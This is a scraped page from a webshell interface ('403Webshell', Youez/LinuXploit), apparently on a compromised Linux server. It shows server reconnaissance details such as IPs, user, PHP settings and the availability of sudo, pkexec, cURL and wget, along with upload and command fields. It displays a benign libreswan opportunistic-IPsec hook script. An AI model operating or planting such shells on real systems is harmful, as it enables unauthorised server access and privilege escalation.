403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/ipsec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/ipsec/_unbound-hook
#!/usr/bin/sh
# -*- mode: sh; sh-shell: sh -*-
#
# Copyright (C) 2018 Paul Wouters <[email protected]>
# Copyright (C) 2022 Andrew Cagney
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.  See <https://www.gnu.org/licenses/gpl2.txt>.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
# for more details.

set -u
#set -e

if test $# -lt 4 ; then
    echo "Usage: QNAME TTL IP RRDATA" 1>&2
    exit 1
fi

# Get my %defaultroute (gateway) IP address.
myip=$(ipsec showroute --gateway 8.8.8.8)

qname=$1 ; shift
ttl=$1 ; shift
ip=$1 ; shift

# Remainder of parameters are quoted DNS RRs, iterate over each
# breaking it down.

for rr in "$@" ; do
    # reset args to
    set -- ${rr}
    if test $# -lt 5 ; then
	echo "ingoring short rr record: $@" 1>&2
	exit 1
    fi
    gwprec=$1 ; shift
    gwtype=$1 ; shift
    gwalg=$1 ; shift
    gwid=$1 ; shift
    pubkey=$1 ; shift

    echo "processing an IPSECKEY record for Opportunistic IPsec to ${qname}(${ip})"
    ipsec whack --keyid "${ip}" --addkey --pubkeyrsa 0s"${pubkey}"
    ipsec whack --keyid @"${qname}" --addkey --pubkeyrsa 0s"${pubkey}"
done

# done injecting all IPSECKEY records into pluto - try actual OE now
ipsec whack --oppohere "${myip}" --oppothere "${ip}"

#cmdoeqname = "ipsec whack --oppohere %s --oppothere %s"%(myip, qname)
#ret, output = commands.getstatusoutput(cmdoeqname)
ipsec whack --trafficstatus

Youez - 2016 - github.com/yon3zu
LinuXploit